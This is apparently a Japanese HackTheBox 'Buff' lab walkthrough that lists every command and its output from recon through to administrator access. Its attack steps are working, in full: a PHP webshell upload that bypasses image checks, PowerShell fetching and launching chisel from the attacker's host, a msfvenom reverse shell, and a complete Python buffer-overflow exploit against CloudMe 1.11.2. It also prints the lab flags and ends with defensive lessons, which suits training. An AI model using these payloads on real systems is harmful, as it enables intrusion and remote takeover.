HackTheBox: Buff — 全実行コマンド・実行結果レポート
Nmap スキャン
8080/http, 7680/pando-pub
→
8080/http, 7680/pando-pub
Gym Management 1.0
EDB-48506 未認証アップロード
→
EDB-48506 未認証アップロード
buff\shaun シェル → user.txt ✓
→
chisel リバーストンネル
R:8888:127.0.0.1:8888
→
R:8888:127.0.0.1:8888
CloudMe 1.11.2 BOF
EIP=0x68A842B5 PUSH ESP;RET
→
EIP=0x68A842B5 PUSH ESP;RET
buff\administrator → root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン & アプリ特定
BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.2.18 nmap -sV -sC -p 8080,7680 10.129.2.18 curl -s http://10.129.2.18:8080/ | grep -i title
RESULT
PORT STATE SERVICE VERSION 7680/tcp open pando-pub 8080/tcp open http-proxy Apache httpd 2.4.43 <title>Gym Management System</title>
ℹ️
Gym Management System 1.0(“mrb3n’s Bro Hut”)というPHP製
アプリ。このバージョンには未認証ファイルアップロードRCE脆弱性
(EDB-48506)が存在する。
PHASE 2
EDB-48506: Gym Management System 1.0 未認証アップロードRCE
PHP webshellのアップロード (PNGマジックバイト+二重拡張子)
BASH
# PNGマジックバイト(\x89PNG\r\n\x1a\n)を先頭に付けたPHP webshell printf '\x89PNG\r\n\x1a\n' > shell.php.png echo '<?php echo shell_exec($_GET["cmd"]); ?>' >> shell.php.png curl -s -X POST \ -F "file=@shell.php.png;filename=test.php.png;type=image/png" \ -F "pupload=upload" \ "http://10.129.2.18:8080/upload.php?id=test"
🚨
脆弱性の核心:
upload.phpは認証チェックが
一切無い。さらにファイル検証はContent-Type: image/pngと
先頭のPNGマジックバイトのみを見ており、実際の内容(PHPコード)は検証しない。
ファイル名をtest.php.pngという二重拡張子にすると、サーバー側の
保存処理が最後の拡張子(.png)だけを見て「画像だから安全」と
誤判定しつつ、実ファイルシステムにはtest.phpとして保存される
設計上の不備がある。
webshellへアクセスしてRCE確認
BASH
curl -s "http://10.129.2.18:8080/upload/test.php?cmd=whoami"
RESULT
buff\shaun
✅
RCE成功!
shaunユーザーとしてコマンド実行できる。
PHASE 3
user.txt 取得
webshell経由でフラグ読み取り
BASH
curl -s "http://10.129.2.18:8080/upload/test.php" \ --data-urlencode "cmd=type C:\Users\shaun\Desktop\user.txt" -G
RESULT
7a25d82e35ecfadc66c60ae92cc83240
user.txt — buff\shaun
7a25d82e35ecfadc66c60ae92cc83240
PHASE 4
chiselリバーストンネルでlocalhost限定サービスへ到達
CloudMeの発見 (127.0.0.1限定)
BASH (webshell経由)
curl -s "http://10.129.2.18:8080/upload/test.php" --data-urlencode "cmd=netstat -ano" -G
RESULT
TCP 127.0.0.1:8888 0.0.0.0:0 LISTENING
ℹ️
C:\Users\shaun\Downloads\CloudMe_1112.exeからCloudMe 1.11.2
が稼働中で、127.0.0.1:8888というループバック限定ポートで
リスニングしている。既知のスタックバッファオーバーフロー脆弱性がある。
chisel リバーストンネルの構築
BASH (Kali側)
# Kali上でchiselサーバーを起動 (リバースモード) chisel server -p 9977 --reverse & # chisel.exeをHTTPで一時配信 python3 -m http.server 9978 --directory /path/to/chisel/ &
BASH (webshell経由、ターゲットへ配置・実行)
curl -s "http://10.129.2.18:8080/upload/test.php" --data-urlencode \ "cmd=powershell -c \"Invoke-WebRequest -Uri 'http://<Kali IP>:9978/' -OutFile 'C:\Users\Public\chisel.exe'\"" -G curl -s "http://10.129.2.18:8080/upload/test.php" --data-urlencode \ "cmd=powershell -c \"Start-Process 'C:\Users\Public\chisel.exe' -ArgumentList 'client <Kali IP>:9977 R:8888:127.0.0.1:8888' -WindowStyle Hidden\"" -G
RESULT
server: session#1: tun: proxy#R:8888=>8888: Listening
✅
トンネル確立! ターゲットの
127.0.0.1:8888が
Kali側の127.0.0.1:8888に転送されるようになり、Kaliから直接
CloudMeへ接続できるようになった。
PHASE 5
CloudMe 1.11.2 バッファオーバーフロー & root.txt取得
シェルコード生成とBOFバッファ組み立て
BASH
# CloudMeは64bit WindowsでもWOW64(32bit)で動作するため x86 シェルコードが必要 msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=<Kali IP> LPORT=4455 \ EXITFUNC=thread -b '\x00\x0a\x0d' -f raw -o revshell.bin
PYTHON (BOFバッファ構築・送信)
import socket, time
with open('revshell.bin','rb') as f:
sc = f.read()
padding = b'\x90' * 1052
eip = b'\xB5\x42\xA8\x68' # 0x68A842B5 = PUSH ESP; RET
nop = b'\x90' * 30
total = len(padding) + len(eip) + len(nop) + len(sc)
overrun = b'\x43' * (1500 - total) # 合計ちょうど1500バイトに揃える
buf = padding + eip + nop + sc + overrun
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(10)
s.connect(('127.0.0.1', 8888)) # chiselトンネル経由でターゲットのCloudMeへ
time.sleep(0.3)
s.sendall(buf) # 大きめのバッファは send() だと送信漏れの可能性があるため sendall()
time.sleep(1)
s.close()
ℹ️
0x68A842B5はCloudMe 1.11.2が読み込むDLL内の
POP/POP/RET系ではなくPUSH ESP; RETガジェット
アドレス(固定、ASLR非対応)。SEH/スタック上書き後この番地へ制御を
移すと、スタックポインタ自体をリターン先として実行するトリックにより
直後のNOPスレッド経由でシェルコードに到達する。
リスナー起動・BOF送信・シェル接続
BASH
# 別ターミナル nc -lvnp 4455 # 上記Pythonスクリプトを実行してBOFを送信
RESULT
listening on [any] 4455 ... connect to [10.10.15.200] from (UNKNOWN) [10.129.2.18] 49781 Microsoft Windows [Version 10.0.17134.1610] C:\Windows\system32>whoami buff\administrator
✅
root化成功! CloudMeは
buff\administrator権限で
動作しており、シェルコードもその権限で実行される。
⚠️
実装上の注意(自動化時に発見): CloudMeには異常終了時に
自動再起動するウォッチドッグが存在する(
taskkill /PID <pid> /Fで
プロセスを終了させると、数秒以内に新しいPIDでポート8888が再度
LISTENING状態に戻ることを確認済み)。一方でBOF送信1回では
CloudMeをクラッシュさせるだけでシェルコードの実行まで到達しない
ことがある(メモリ配置のわずかな違いによる一発勝負の不安定さ)。
自動化する場合は、CloudMeのポートが生存していることを確認しつつ
最大3回程度BOF送信をリトライする設計にすると信頼性が大幅に向上する。
root.txt取得
BASH
C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
RESULT
2cc3dbd49d4b8319ad59ab7b35a3c268
root.txt — buff\administrator
2cc3dbd49d4b8319ad59ab7b35a3c268
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — buff\shaun
7a25d82e35ecfadc66c60ae92cc83240
root.txt — buff\administrator
2cc3dbd49d4b8319ad59ab7b35a3c268
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| EDB-48506 (未認証ファイルアップロードRCE) | Gym Management System 1.0 upload.php | リモートコード実行 (shaun) | Critical | PNGマジックバイト+二重拡張子(test.php.png)でContent-Type/拡張子検証をバイパス |
| CloudMe 1.11.2 スタックバッファオーバーフロー | CloudMe 1.11.2 (127.0.0.1:8888) | 権限昇格 (Administrator, root.txt) | Critical | 固定アドレスのPUSH ESP;RETガジェットでEIPを奪いシェルコードへ着地 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap | 8080/http (Gym Management), 7680/pando-pub |
| 2 | RCE | EDB-48506 二重拡張子+PNGマジックバイト | buff\shaun シェル獲得 |
| 3 | ユーザーフラグ | webshell type コマンド | user.txt |
| 4 | トンネリング | chisel リバーストンネル | CloudMe(127.0.0.1:8888)へKaliから直接到達可能 |
| 5 | 権限昇格 | CloudMe 1.11.2 BOF (固定EIPガジェット) | root.txt (buff\administrator) |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| アップロード機能に認証チェックが一切無く、ファイル内容の検証もマジックバイトと拡張子のみ | アップロード機能には必ず認証・認可を要求し、ファイル内容はMIMEタイプ判定ライブラリ等で厳密に検証、アップロード先はPHP実行不可の設定にする。 |
| 古い既知の脆弱性を持つサードパーティソフト(CloudMe 1.11.2)が、Administrator権限でlocalhost限定とはいえ稼働している | 既知の脆弱性を持つソフトウェアは最新版へ更新するか削除する。「localhost限定だから安全」という思い込みは、Web経由のSSRF/トンネリングで容易に突破される前提で設計する。 |
| 脆弱なサービスに異常終了時の自動再起動ウォッチドッグがあり、攻撃者に何度でも再試行の機会を与えてしまう | 本来は防御側に有利な「可用性維持」のための仕組みだが、エクスプロイトの試行回数制限が無いサービスでは攻撃者の成功率を実質的に引き上げてしまう。異常終了の頻発を検知してアラートを出す監視を併用する。 |

